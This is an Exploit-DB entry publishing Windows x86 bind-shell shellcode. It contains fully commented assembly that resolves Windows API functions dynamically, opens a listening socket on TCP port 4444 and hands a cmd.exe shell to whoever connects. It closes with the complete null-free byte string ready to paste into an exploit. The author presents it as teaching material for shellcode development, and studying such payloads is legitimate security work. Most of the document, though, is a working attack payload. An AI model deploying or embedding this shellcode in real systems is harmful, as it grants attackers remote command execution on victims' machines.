Windows/x86 - Dynamic Bind Shell + Null-Free Shellcode (571 Bytes)

EDB-ID:

47980

CVE:

N/A


Author:

boku


Platform:

Windows_x86

Date:

2020-01-30


# Shellcode Title: Windows/x86 - Dynamic Bind Shell + Null-Free Shellcode (571 Bytes)
# Shellcode Author: Bobby Cooke
# Date: 2020-01-30
# Technique: PEB & Export Directory Table
# Tested On: Windows 10 Pro (x86) 10.0.18363 Build 18363
# Shellcode Function: When executed, this shellcode creates a cmd.exe bind shell, using the CreateProcessA function on TCP port 4444, on all IP interfaces.
# Reason for Creating: When learning x86 Windows Dynamic Shellcoding, I experienced great difficulty in finding a detailed bind shell example to learn from. Their are many great examples for creating dynamic MessageBox shellcode, dynamic bind shellcode for x86 Linux, and many examples of Windows version dependent shellcode; with hardcoded library addresses. Metasploit has a great, compact, reliable, dynamic Windows x86 bind shellcode, but trying to reverse engineer it, to learn, is no small task. MetaSploits payload is great because it uses the best known shellcoding shortcut techniques. Unfortunately for the Security Researcher new to x86 Windows Shellcoding these shortcuts are very advanced concepts to take on right from the start. Hopefully this horribly large shellcode will help someone learn x86 Dynamic Windows shellcoding easier than the path I took.
# Special Thanks & Credits to: Skape, 0xDarkVortex/paranoidninja, Corelan, Offensive Security, Vivek & Pentester Academy, Tulpa, sh3llc0d3r

# Create a new stack frame
 push ebp                ; push current base pointer to the stack
 mov ebp, esp            ; Set Base Stack Pointer for new Stack-Frame
 sub esp, 0x60           ; Decrement the stack by 96 to create space for saving pointers 

# Push string "GetProcAddress",0x00 onto the stack
 xor eax, eax            ; clear eax register
 mov ax, 0x7373          ; AX is the lower 16-bits of the 32bit EAX Register
 push eax                ;   ss : 73730000 // EAX = 0x00007373 // \x73=ASCII "s"      
 push 0x65726464         ; erdd : 65726464 // "GetProcAddress"
 push 0x41636f72         ; Acor : 41636f72
 push 0x50746547         ; PteG : 50746547
 mov [ebp-0x4], esp      ; save PTR to string at bottom of stack (ebp)

# Find Base Address of the kernel32.dll Dynamically Linked Library
; - In Windows, the FS Segment Register will always point to the Thread Environment Block (TEB).
; - This shellcode is dynamic & does not rely on any hardcoded addresses.
;   - The addresses in the comments are used as an example and will be different for you.
; - The easiest way to get the WinDbg commands to work is to connect to the Windows Symbol Server.
; - On new versions of Windows, kernel32.dll is the 3rd dll in the Initialization Order Module List.
;   - On older versions of Windows, kernel32.dll was the 2nd dll. Now the 2nd dll is kernelbase.dll.
;     - Interestingly kernelbase.dll also has functions like LoadLibraryA & GetProcAddress.
;     - kernelbase.dll can be used instead of kernel32.dll sometimes, but we will stick with kernel32.dll.
 xor eax, eax            ; clear eax register
 mov eax, [fs:eax+0x30]  ; #1| Get PEB Address from within the TEB; leveraging the FS Register.
                         ; WinDbg> !teb
                         ;  TEB at 002e9000
                         ; WinDbg> dt nt!_TEB 002e9000
                         ;  +0x030 ProccessEnviromentBlock: 0x002e8000 _PEB 
                         ; EAX = 0x002e8000 (Address_of_PEB)
 mov eax, [eax+0xc]      ; #2| Get the LDR Address from within the PEB.
                         ; WinDbg> dt nt!_PEB 002e8000 
                         ;  +0x00c Ldr : 0x77becb80 _PEB_LDR_DATA
                         ; EAX = 0x77becb80 (Address_of_LDR)
 mov eax, [eax+0x1c]     ; #3| Get the first entry in the Initialization Order Module List (ntdll.dll)
                         ; WinDbg> dt nt!_PEB_LDR_DATA 0x77becb80 
                         ;  +0x01c InInitializationOrderModuleList : _LIST_ENTRY
                         ; WinDbg> db 0x77becb80+1c
                         ;  77becb9c  90 1d 5f 00  // First Entry is 0x005f1d90 (reverse for Little Endian)
                         ; WinDbg> db 0x5f1d90
                         ;           #00#01#02#03#04#05#06#07#08#09#0a#0b
                         ;  005f1d90  38 26 5f 00 9c cb be 77-00 00 ad 77
                         ;  - we see that 0x5f1d90+0x8 is the base address of ntdll.dll - 0x77ad0000
                         ;    - ModLoad: 77ad0000 ntdll.dll
                         ;  - We also see that the next entry in the list is at 0x005f2638
                         ; EAX = 0x005f1d90 (First Entry of InInitialzationOrderModuleList - ntdll.dll)
                         ; #4| Get the second entry in the Initialization Order Module List (kernelbase.dll)
 mov ebx, eax            ; - Should be 'mov eax, [eax]', but the opcode contains a null byte 8B00
 mov eax, [ebx]          ;   - Avoid null byte
                         ; WinDbg> dt nt!_LIST_ENTRY 0x5f1d90
                         ;   +0x000 Flink            : 0x005f2638 _LIST_ENTRY
                         ; WinDbg> db 0x005f2638
                         ;  005f2638  78 22 5f 00 90 1d 5f 00-00 00 56 75 
                         ; - We see that 0x005f2638+0x8 is the base address of kernelbase.dll - 0x75560000
                         ;   - ModLoad: 75560000 C:\Windows\System32\KERNELBASE.dll
                         ;  - We also see that the next entry in the list is at 0x005f2278
                         ; EAX = 0x005f2638 (Second Entry of InInitialzationOrderModuleList - kernelbase.dll)
                         ; #5| Get the third entry in the Initialization Order Module List (kernel32.dll)
 mov ebx, eax            ; - Should be 'mov eax, [eax]', but the opcode contains a null byte 8B00
 mov eax, [ebx]          ;   - Avoid null byte
                         ; WinDbg> dt nt!_LIST_ENTRY 0x005f2638
                         ;  +0x000 Flink            : 0x005f2278 _LIST_ENTRY
                         ; WinDbg> db 0x005f2278
                         ; 005f2278  9c cb be 77 38 26 5f 00-00 00 22 76 
                         ; - We see that 0x005f2278+0x8 is the base address of kernel32.dll - 0x76220000
                         ;   - ModLoad: 76220000 C:\Windows\System32\KERNEL32.DLL
                         ; EAX = 0x005f2278 (Third Entry of InInitialzationOrderModuleList - kernel32.dll)
 mov eax, [eax+0x8]      ; move the kernel32.dll base address into the EAX register
                         ; EAX = 0x76220000 (Base address of kernel32.dll)
 mov [ebp-0x8], eax      ; Save the base address of kernel32.dll in the 2nd from bottom position on our stack

# Find Base Address of GetProcAddress Symbol
; - Now that we have the base address of kernel32.dll, we will use it to find the address for the Symbol(function) GetProcAddress.
;   - GetProcAddress() will then be used to find the addresses of all other Symbols(functions) that we need.
;   - The Export Table technique is used to find the address of GetProcAddress (as detailed in Skapes Windows Shellcoding Paper).
 mov ebx, [eax+0x3c]     ; save Relative Virtual Address (RVA/Offset) of New_Exe_Header to ebx.
                         ;  WinDbg> db 0x76220000+3c
                         ;   7622003c  f8 00 00 00  // EBX = 0x000000f8 = Offset to New EXE Header
 add ebx, eax            ; (kernel32.dll baseAddr) + (RVA New_Exe_Header) = Address of New_Exe_Header
                         ;        0x76220000       +        0xf8          =       0x762200f8 
                         ; EBX =  0x762200f8 (Address of new  Header)
 mov ebx, [ebx+0x78]     ; (RVA of New Exe Header) + 0x78 = RVA of Export-Table
                         ; WinDbg> db 0x762200f8+0x78
                         ;  76220170  b0 77 07 00   // EBX = 0x000777b0
 add ebx, eax            ; (kernel32.dll baseAddr) + (RVA Export-Table) = Address of Export-Table
                         ;        0x76220000       +    0x000777b0        =       0x762977b0  
                         ; EBX now holds the address of the Export Table for kernel32.dll (0x762977b0)
 mov edi, [ebx+0x20]     ; PTR to RVA of Name-Pointer Table
                         ; WinDbg> db 0x762977b0+0x20
                         ;  762977d0  e0 90 07 00   // EDI = 0x000790e0
 add edi, eax            ; (kernel32.dll baseAddr) + (RVA Name-Pointer Table) = Address of Name-Pointer Table
                         ;        0x76220000       +    0x000790e0        =       0x762990e0  
 mov [ebp-0xC], edi      ; save Address of Name-Pointer Table in the 3rd from bottom position in our stack-frame
 mov ecx, [ebx+0x24]     ; PTR to RVA of Ordinal Table
 add ecx, eax            ; (kernel32.dll baseAddr) + (RVA Ordinal Table) = Address of Ordinal Table
 mov [ebp-0x10], ecx     ; save PTR to Ordinal Table Address at 4th from bottom of stack (ebp-16)

 mov edx, [ebx+0x1c]     ; PTR to RVA of Address Table
 add edx, eax            ; (kernel32.dll baseAddr) + (RVA Address Table) = Address of Address Table
 mov [ebp-0x14], edx     ; save PTR to Address Table Address at 5th from bottom of stack (ebp-20)

 mov edx, [ebx+0x14]     ; Value of Number of Functions/Symbols within the Tables

 xor eax, eax            ; Counter = 0

loop:
 mov edi, [ebp-0xC]      ; Address of the Name-Pointer Table
 mov esi, [ebp-0x4]      ; PTR to string "GetProcAddress",0x00
 xor ecx, ecx            ; clear ecx register -- used for counters/loops
 cld                     ; clear direction flag, DF=0 -- Process strings from left to right
 mov edi, [edi+eax*4]    ; Entries in Name Pointer Table are 4 bytes long
                         ; edi = RVA of Nth entry = (Address of Name-Pointer Table) + (Counter * 4)
 add edi, [ebp-0x8]      ; edi = address of string = (kernel32.dll base addr) + (RVA of Nth entry)
 add cx, 0xf             ; ecx = length of string to compare = sizeof("GetProcAddress") = 15 (14 Letters + 1 String Terminator Char)
 repe cmpsb              ; compare first 15 bytes of string. esi cmp edi
                         ; if equal ZF=1, if not ZF=0
 jz found                ; if strings match end loop, else increment eax and loop again
 inc eax                 ; counter ++
 cmp eax, edx            ; check if eax = Value of Number of Functions/Symbols within the Tables
 jb loop                 ; If eax != edx, restart the loop

found:
; The Counter (eax) now holds the poisition of GetProcAddress within the table
 mov ecx, [ebp-0x10]     ; ecx = Address of Ordinal Table
 mov edx, [ebp-0x14]     ; edx = Address of Address Table
 mov ax, [ecx + eax*2]   ; ax = ordinal number = (Address of Ordinal Table) + (counter * 2)
 mov eax, [edx + eax*4]  ; eax = RVA of function = var20 + (ordinal * 4)
 add eax, [ebp-0x8]      ; eax = address of GetProcAddress = (RVA of GetProcAddress) + (kernel32.dll base addr)
;   Address of GetProcAddress is now in EAX
 mov [ebp-0x18], eax     ; save Address of GetProcAddress onto Stack 0x18=24; 6th from bottom

; Call GetProcAddress(&kernel32.dll, PTR "LoadLibraryA"0x00)
; Call GetProcAddress(hModule, lpProcName)
;   hModule:    address of the DLL module that contains the function.
;   lpProcName: A Pointer to the beginning of an ASCII string of the functions name; null terminated.
 xor edx, edx            ; EDX = 0x00000000
 push edx                ; null terminator for LoadLibraryA string
 push 0x41797261         ; Ayra : 41797261 // "LoadLibraryA",0x00
 push 0x7262694c         ; rbiL : 7262694c
 push 0x64616f4c         ; daoL : 64616f4c
 push esp                ; $hModule    -- push the address of the start of the string onto the stack
 push dword [ebp-0x8]    ; $lpProcName -- push base address of kernel32.dll to the stack
 mov eax, [ebp-0x18]     ; Move the address of GetProcAddress into the EAX register
 call eax                ; Call the GetProcAddress Function.
                         ; The address of the queried function is returned into the EAX register.
 mov [ebp-0x1c], eax     ; save Address of LoadLibraryA onto Stack 0x1c=28; 7th from bottom


; Call LoadLibraryA(PTR "ws2_32.dll"0x00)
;   push "ws2_32",0x00 (Null terminated) to the stack and save pointer
 xor eax, eax            ; clear eax
 mov ax, 0x3233          ; ASCII: 3 = 0x33, ASCII: 2 = 0x32
 push eax                ; push 0x00,0x00,"23" to stack (for ws2_32.dll)
 push 0x5f327377         ; push "_2sw" to the stack (in reverse)
 push esp                ; push the pointer to the string to the stack

 mov ebx, [ebp-0x1c]     ; LoadLibraryA Address to ebx register
 call ebx                ; call the LoadLibraryA Function to load ws2_32.dll
 mov [ebp-0x20], eax     ; save Address of ws2_32.dll onto Stack at 0x20=32; 8th from bottom

; Call GetProcAddress(PTR *ws2_32.dll, "WSAStartup"0x00)
 xor edx, edx
 mov dx, 0x7075          ; pu : 7075
 push edx                ; push "up",0x0000 to stack from end of string
 push 0x74726174         ; trat : 74726174
 push 0x53415357         ; SASW : 53415357
 push esp                ; push pointer to string to stack for 'WSAStartup',0x00
 push dword [ebp-0x20]   ; push base address of ws2_32.dll to stack
 mov eax, [ebp-0x18]     ; PTR to GetProcAddress to EAX
 call eax                ; GetProcAddress(PTR *ws2_32.dll, "WSAStartup"0x00)
;   EAX = WSAStartup Address 
 mov [ebp-0x24], eax     ; save Address of WSAStartup onto Stack 0x24=36; 9th from bottom.


; Call WSAStartup - WSAStartUp(MAKEWORD(2, 2),        wsadata_pointer)
;               int WSAStartup(WORD wVersionRequired, LPWSADATA lpWSAData)
 xor ebx, ebx            ; EBX = 0x00000000
 mov bx, 0x0190
 sub esp, ebx
 push esp
 push ebx
 mov eax, [ebp-0x24]     ; WSAStartup Address
 call eax                ; call WSAStartUp() to enable tcp networking


; Call GetProcAddress(PTR *ws2_32.dll, "WSASocketA"0x00)
 xor edx, edx
 mov dx, 0x4174          ; At : 4174 // "WSASocketA",0x0000 string
 push edx                ; push "tA",0x0000 to stack from end of string
 push 0x656b636f         ; ekco : 656b636f
 push 0x53415357         ; SASW : 53415357
 push esp                ; push pointer to string to stack for 'WSASocketA',0x00
 push dword [ebp-0x20]   ; push base address of ws2_32.dll to stack
 mov eax, [ebp-0x18]     ; PTR to GetProcAddress to EAX
 call eax                ; GetProcAddress(PTR *ws2_32.dll, "WSASocketA"0x00)
;   EAX = WSASocketA Address 
 mov [ebp-0x28], eax     ; save Address of WSASocketA onto Stack 0x28=40

; Call WSASocketA( AF_INET = 2, SOCK_STREAM = 1, TCP = 6, NULL, NULL, NULL);
 xor ebx, ebx            ; clear ebx
 push ebx                ; dwFlags  = null
 push ebx                ; g(group) = null
 push ebx                ; lpProtocolInfo = null
 xor ecx, ecx            ; clear ecx
 mov cl, 6               ; IPPROTO_TCP = 6 // use TCP
 push ecx                ; push protocol to the stack
 inc ebx                 ; SOCK_STREAM = 1 // for TCP Socket
 push ebx                ; push type (of socket) to stack
 inc ebx                 ; AF_INET = 2 // Use IPv4
 push ebx                ; Push Address Family (af) ipv4 to stack
 mov eax, [ebp-0x28]     ; load address of WSASocketA() into eax
 call eax                ; Call the WSASocketA() Function
;   EAX = Handle to NewSocket
 mov [ebp-0x2c], eax     ; save Address New Socket Handle onto Stack 0x2c=44

; struct sockaddr_in { AF_INET = 2; p4444 = 0x5c11; INADDR_ANY = 0x00000000; };
 xor ebx, ebx            ; clear ebx
 push ebx                ; IP address =  INADDR_ANY
 push word 0x5c11        ; 0x115c = port 4444
 add bl, 2               ; AF_INET = 2
 push word bx            ; push ipv4 af to stack
 mov [ebp-0x30], esp     ; save Address of sockaddr_in struct onto Stack 0x30=48

; Call GetProcAddress(PTR *ws2_32.dll, "bind"0x00)
 xor ecx, ecx
 push ecx                ; Null terminate string "bind" on stack
 push 0x646e6962         ; dnib : 646e6962 - push "bind"
 push esp                ; push pointer-to-string to stack for 'bind',0x00
 push dword [ebp-0x20]   ; push base address of ws2_32.dll to stack
 mov eax, [ebp-0x18]     ; PTR to GetProcAddress to EAX
 call eax                ; GetProcAddress(PTR *ws2_32.dll, "bind"0x00)
;   EAX = bind base-address 
 mov [ebp-0x34], eax     ; save Address of bind onto Stack 0x34=52

; Call bind(ptr socketHandle, ptr sockaddr_in, sizeof(sockaddr_in) = 16);
 push byte 16            ; push size of sockaddr_in struct
 push dword [ebp-0x30]   ; Push pointer to sockaddr_in 
 push dword [ebp-0x2c]   ; push socket handle returned from WSASocketA()
 mov eax, [ebp-0x34]     ; load address of bind()
 call eax                ; Call the bind() function

; Call GetProcAddress(PTR *ws2_32.dll, "listen"0x00)
 xor ecx, ecx
 mov cx, 0x6e65          ; ne : 6e65 // "listen",0x0000 string
 push ecx                ; push "en",0x00,0x00 to stack
 push 0x7473696c         ; tsil : 7473696c - push "list" to stack 
 push esp                ; push pointer-to-string to stack for 'listen',0x00
 push dword [ebp-0x20]   ; push base address of ws2_32.dll to stack
 mov eax, [ebp-0x18]     ; PTR to GetProcAddress to EAX
 call eax                ; GetProcAddress(PTR *ws2_32.dll, "listen")
;   EAX = listen() base-address 
 mov [ebp-0x38], eax     ; save Address of listen() onto Stack 0x38=56

; Call listen(ptr socketHandle, int backlog);
 xor ecx, ecx
 push ecx                ; backlog is used for multple connections. We only need 1, so set to zero.
 push dword [ebp-0x2c]   ; push socket handle returned from WSASocketA()
 mov eax, [ebp-0x38]     ; load address of listen() that we saved to the stack eariler
 call eax                ; Call the listen() function

; Call GetProcAddress(PTR *ws2_32.dll, "accept"0x00)
 xor ecx, ecx
 mov cx, 0x7470          ; tp : 7470 // "accept",0x0000 string
 push ecx                ; push "en",0x00,0x00 to stack
 push 0x65636361         ; ecca : 65636361 - push "acce" to stack 
 push esp                ; push pointer-to-string to stack for 'accept',0x00
 push dword [ebp-0x20]   ; push base address of ws2_32.dll to stack
 mov eax, [ebp-0x18]     ; PTR to GetProcAddress to EAX
 call eax                ; GetProcAddress(PTR *ws2_32.dll, "accept")
;   EAX = listen() base-address 
 mov [ebp-0x3c], eax     ; save Address of accept() onto Stack 0x3c=60

; Call accept(ptr socketHandle, ptr sockaddr_in, ptr addrlen(optional))
; sockaddr_in is optional here. It is for filtering the connecting host
 xor ecx, ecx
 push ecx                ; push Null for optional ptr addrlen
 push ecx                ; push Null for optional ptr sockaddr_in
 push dword [ebp-0x2c]   ; push socket handle returned from WSASocketA()
 mov eax, [ebp-0x3c]     ; load address of accept() that we saved eariler
 call eax                ; Call the accept() function
 mov [ebp-0x40], eax     ; save Handle to clientSocket, returned form accept(), onto Stack 0x40=64

; struct _PROCESS_INFORMATION {PTR hProcess; PTR hThread; DWORD dwProcessId; DWORD dwThreadId; }
 mov edx, 0x646d6363     ; "ccmd"
 shr edx, 8              ; edx = "cmd",0x00 // shr edx, 8 = Shifts the edx register to the right 8 bits
 push edx
 mov [ebp-0x44], esp     ; save PTR to String "cmd",0x00 on stack
 xor edx, edx            ; clear edx register
 sub esp, 0x10           ; Decrement the stack by 16 bytes (0x10)
 mov [ebp-0x48], esp     ; save Address of PROCESS_INFORMATION struct onto Stack 0x48=72

; typedef struct _STARTUPINFOA { DWORD  cb; LPSTR  lpReserved; LPSTR  lpDesktop; LPSTR  lpTitle; DWORD  dwX; DWORD  dwY; DWORD  dwXSize; DWORD  dwYSize; DWORD  dwXCountChars; DWORD  dwYCountChars; DWORD  dwFillAttribute; DWORD  dwFlags; WORD   wShowWindow; WORD   cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; }
 xor edx, edx            ; clear edx register
;   Redirect STDIN, STDOUT, STDERR to the clientSocket returned from accept() when client connected (similar to dup2 in linux)
 push dword [ebp-0x40]   ; HANDLE hStdError  = Handle to clientSocket
 push dword [ebp-0x40]   ; HANDLE hStdOutput = Handle to clientSocket
 push dword [ebp-0x40]   ; HANDLE hStdInput  = Handle to clientSocket
 push edx
 push edx
 xor eax, eax            ; clear eax register
 inc eax
 rol eax, 0x08
 inc eax
 push eax
 push edx                ; DWORD dwFlags          = Null
 push edx                ; DWORD dwFillAttribute  = Null
 push edx                ; DWORD dwYCountChars    = Null
 push edx                ; DWORD dwXCountChars    = Null
 push edx                ; DWORD dwXSize          = Null
 push edx                ; DWORD dwY              = Null
 push edx                ; DWORD dwX              = Null
 push edx                ; PTR lpTitle            = Null
 push edx                ; PTR lpDesktop          = Null
 push edx                ; PTR lpReserved         = Null
 xor eax, eax            ; clear eax register
 add al, 0x44            ; DWORD cb               = 0x44(68) // Sizeof STARTUP_INFO
 push eax                ; push cb onto the stack
 mov [ebp-0x4c], esp     ; save pointer to STARTUP_INFO struct onto Stack 0x4c=76

; Call GetProcAddress(PTR *kernel32.dll, "CreateProcessA"0x00)
 xor edx, edx
 mov dx, 0x4173          ; As : 4173 // "CreateProcessA",0x0000 string
 push edx                ; push "sA",0x0000 to stack from end of string
 push 0x7365636f         ; seco : 7365636f
 push 0x72506574         ; rPet : 72506574
 push 0x61657243         ; aerC : 61657243
 push esp                ; push pointer to string to stack for 'CreateProcessA',0x00
 push dword [ebp-0x8]    ; push base address of kernel32.dll to stack
 mov eax, [ebp-0x18]     ; PTR to GetProcAddress to EAX
 call eax                ; GetProcAddressA(PTR *kernel32.dll, "CreateProcessA"0x00)
;   EAX = CreateProcessA Address
 mov [ebp-0x50], eax     ; save Address of CreateProcessA onto Stack 0x50=80

; CreateProcessA(NULL, Command, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
 xor edx, edx            ; clear edx register
 push dword [ebp-0x48]   ; PROCESS_INFORMATION
 push dword [ebp-0x4c]   ; STARTUP_INFO
 push edx                ; lpCurrentDirectory = Null
 push edx                ; lpEnvt = Null
 push edx                ; dwCreationFlags = 0/Null
 xor eax, eax            ; clear eax
 inc eax                 ; bInheritHandles = True = 1
 push eax                ; push 1 to stack for bInheritHandles
 push edx                ; lpThdAttrs = Null
 push edx                ; lpPsAttrs  = Null
 push dword [ebp-0x44]   ; lpCmdLine = push PTR to String "cmd",0x00 on stack
 push edx                ; lpAppName = Null
 mov ebx, [ebp-0x50]     ; Address for CreateProcessA 
 call ebx                ; create process cmd 

; Call GetProcAddress(PTR *kernel32.dll, "ExitProcess"0x00)
 xor ecx, ecx
 mov ecx, 0x73736501     ; sse : 73736501 = 0x01,"ess" // "ExitProcess",0x0000 string
 shr ecx, 8              ; ecx = "ess",0x00
 push ecx                ;  sse : 00737365 
 push 0x636f7250         ; corP : 636f7250
 push 0x74697845         ; tixE : 74697845
 push esp                ; push pointer to string to stack for 'ExitProcess',0x00
 push dword [ebp-0x8]    ; push base address of kernel32.dll to stack
 mov eax, [ebp-0x18]     ; PTR to GetProcAddressA to EAX
 call eax                ; GetProcAddressA(PTR *kernel32.dll, "ExitProcess"0x00)
;   EAX = ExitProcess Address
 mov [ebp-0x54], eax     ; save Address of ExitProcess onto Stack 0x54=84

; Call ExitProcess(exitcode)
 xor edx, edx
 push eax
 mov eax, [ebp-0x54]     ; ExitProcess(exitcode)
 call eax


;   sub esp, 0x60 = Dec stack by 0x96 for shellcode variables
;   [ebp-0x4]  = PTR to string at bottom of stack (ebp)
;   [ebp-0x8]  = Save the base address of kernel32.dll in the 2nd from bottom position on our stack
;   [ebp-0xC]  = Address of Name-Pointer Table in the 3rd from bottom position in our stack-frame
;   [ebp-0x10] = PTR to Ordinal Table Address at 4th from bottom of stack (ebp-16)
;   [ebp-0x14] = PTR to Address Table Address at 5th from bottom of stack (ebp-20)
;   [ebp-0x18] = Address of GetProcAddress onto Stack 0x18=24; 6th from bottom
;   [ebp-0x1c] = Address of LoadLibraryA onto Stack 0x1c=28; 7th from bottom
;   [ebp-0x20] = Address of ws2_32.dll onto Stack at 0x20=32; 8th from bottom
;   [ebp-0x24] = Address of WSAStartup onto Stack 0x24=36; 9th from bottom.
;   [ebp-0x28] = Address of WSASocketA onto Stack 0x28=40
;   [ebp-0x2c] = Address New Socket Handle onto Stack 0x2c=44
;   [ebp-0x30] = Address of sockaddr_in struct onto Stack 0x30=48
;   [ebp-0x34] = Address of bind onto Stack 0x34=52
;   [ebp-0x38] = Address of listen() onto Stack 0x38=56
;   [ebp-0x3c] = Address of accept() onto Stack 0x3c=60
;   [ebp-0x40] = Handle to clientSocket, returned form accept(), onto Stack 0x40=64
;   [ebp-0x44] = PTR to String "cmd",0x00 on stack 0x44=68
;   [ebp-0x48] = Pointer to PROCESS_INFORMATION struct onto Stack 0x48=72
;   [ebp-0x4c] = Pointer to STARTUP_INFO struct onto Stack 0x4c=76
;   [ebp-0x50] = Address of CreateProcessA onto Stack 0x50=80
;   [ebp-0x54] = Address of ExitProcess onto Stack 0x54=84

# Compiled on Kali with nasm
;root@kali# nasm -f win32 bindShell.asm -o bindShell.o
; for i in $(objdump -D bindShell.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
# Preformated for the lazy
;shellcode  = "\x55\x89\xe5\x83\xec\x60\x31\xc0\x66\xb8\x73\x73\x50\x68\x64\x64\x72\x65\x68\x72\x6f\x63\x41\x68\x47\x65"
;shellcode += "\x74\x50\x89\x65\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x40\x1c\x89\xc3\x8b\x03\x89\xc3\x8b\x03\x8b"
;shellcode += "\x40\x08\x89\x45\xf8\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf4\x8b\x4b\x24"
;shellcode += "\x01\xc1\x89\x4d\xf0\x8b\x53\x1c\x01\xc2\x89\x55\xec\x8b\x53\x14\x31\xc0\x8b\x7d\xf4\x8b\x75\xfc\x31\xc9"
;shellcode += "\xfc\x8b\x3c\x87\x03\x7d\xf8\x66\x83\xc1\x0f\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf0\x8b\x55\xec"
;shellcode += "\x66\x8b\x04\x41\x8b\x04\x82\x03\x45\xf8\x89\x45\xe8\x31\xd2\x52\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72"
;shellcode += "\x68\x4c\x6f\x61\x64\x54\xff\x75\xf8\x8b\x45\xe8\xff\xd0\x89\x45\xe4\x31\xc0\x66\xb8\x33\x32\x50\x68\x77"
;shellcode += "\x73\x32\x5f\x54\x8b\x5d\xe4\xff\xd3\x89\x45\xe0\x31\xd2\x66\xba\x75\x70\x52\x68\x74\x61\x72\x74\x68\x57"
;shellcode += "\x53\x41\x53\x54\xff\x75\xe0\x8b\x45\xe8\xff\xd0\x89\x45\xdc\x31\xdb\x66\xbb\x90\x01\x29\xdc\x54\x53\x8b"
;shellcode += "\x45\xdc\xff\xd0\x31\xd2\x66\xba\x74\x41\x52\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\xff\x75\xe0\x8b"
;shellcode += "\x45\xe8\xff\xd0\x89\x45\xd8\x31\xdb\x53\x53\x53\x31\xc9\xb1\x06\x51\x43\x53\x43\x53\x8b\x45\xd8\xff\xd0"
;shellcode += "\x89\x45\xd4\x31\xdb\x53\x66\x68\x11\x5c\x80\xc3\x02\x66\x53\x89\x65\xd0\x31\xc9\x51\x68\x62\x69\x6e\x64"
;shellcode += "\x54\xff\x75\xe0\x8b\x45\xe8\xff\xd0\x89\x45\xcc\x6a\x10\xff\x75\xd0\xff\x75\xd4\x8b\x45\xcc\xff\xd0\x31"
;shellcode += "\xc9\x66\xb9\x65\x6e\x51\x68\x6c\x69\x73\x74\x54\xff\x75\xe0\x8b\x45\xe8\xff\xd0\x89\x45\xc8\x31\xc9\x51"
;shellcode += "\xff\x75\xd4\x8b\x45\xc8\xff\xd0\x31\xc9\x66\xb9\x70\x74\x51\x68\x61\x63\x63\x65\x54\xff\x75\xe0\x8b\x45"
;shellcode += "\xe8\xff\xd0\x89\x45\xc4\x31\xc9\x51\x51\xff\x75\xd4\x8b\x45\xc4\xff\xd0\x89\x45\xc0\xba\x63\x63\x6d\x64"
;shellcode += "\xc1\xea\x08\x52\x89\x65\xbc\x31\xd2\x83\xec\x10\x89\x65\xb8\x31\xd2\xff\x75\xc0\xff\x75\xc0\xff\x75\xc0"
;shellcode += "\x52\x52\x31\xc0\x40\xc1\xc0\x08\x40\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x44\x50\x89"
;shellcode += "\x65\xb4\x31\xd2\x66\xba\x73\x41\x52\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\xff"
;shellcode += "\x75\xf8\x8b\x45\xe8\xff\xd0\x89\x45\xb0\x31\xd2\xff\x75\xb8\xff\x75\xb4\x52\x52\x52\x31\xc0\x40\x50\x52"
;shellcode += "\x52\xff\x75\xbc\x52\x8b\x5d\xb0\xff\xd3\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f\x63"
;shellcode += "\x68\x45\x78\x69\x74\x54\xff\x75\xf8\x8b\x45\xe8\xff\xd0\x89\x45\xac\x31\xd2\x50\x8b\x45\xac\xff\xd0"